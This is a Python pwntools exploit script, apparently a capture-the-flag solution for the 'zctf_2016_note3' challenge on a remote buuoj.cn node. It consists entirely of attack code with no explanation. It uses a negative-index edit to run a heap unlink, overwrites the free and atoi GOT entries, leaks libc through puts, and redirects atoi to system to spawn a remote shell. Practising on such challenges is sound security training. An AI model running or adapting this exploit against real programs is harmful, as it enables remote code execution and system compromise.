1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
sh = remote('node3.buuoj.cn',29603) elf = ELF('./zctf_2016_note3') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') atoi_got = elf.got['atoi'] free_got = elf.got['free'] puts_plt = elf.plt['puts'] heap_0_ptr_addr = 0x00000000006020C8
def add(size,content): sh.sendlineafter('option--->>','1') sh.sendlineafter('(less than 1024)',str(size)) sh.sendafter('content:',content[0:size-1])
def edit(index,content): sh.sendlineafter('option--->>','3') sh.sendlineafter('Input the id of the note:',str(index)) sh.sendafter('Input the new content:',content)
def delete(index): sh.sendlineafter('option--->>','4') sh.sendlineafter('Input the id of the note:',str(index))
add(0x100,'a'*0x100)
add(0x100,'b'*0x100)
add(0x10,'c'*0x10)
add(0x10,'c'*0x10)
add(0x10,'c'*0x10)
add(0x10,'c'*0x10)
add(0x10,'c'*0x10)
delete(0) add(0x100,'a'*0x100)
payload = p64(0) + p64(0x101) payload += p64(heap_0_ptr_addr - 0x18) + p64(heap_0_ptr_addr - 0x10) payload = payload.ljust(0x100,'a') payload += p64(0x100) + p64(0x110) payload += '\n' edit(0x8000000000000000 - 0x10000000000000000,payload)
delete(1) payload = p64(0) * 3 + p64(free_got) + p64(atoi_got) *2 payload = payload.ljust(80,'\x00') payload += p64(0x8)*3 edit(0,p64(0) * 3 + p64(free_got) + p64(atoi_got) *2 + '\n')
edit(0,p64(puts_plt)[0:7] + '\n')
delete(1) sh.recvuntil('\n') atoi_addr = u64(sh.recv(6).ljust(8,'\x00')) libc_base = atoi_addr - libc.sym['atoi'] system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
edit(2,p64(system_addr)[0:7] + '\n')
sh.sendlineafter('option--->>','/bin/sh\x00')
sh.interactive()
|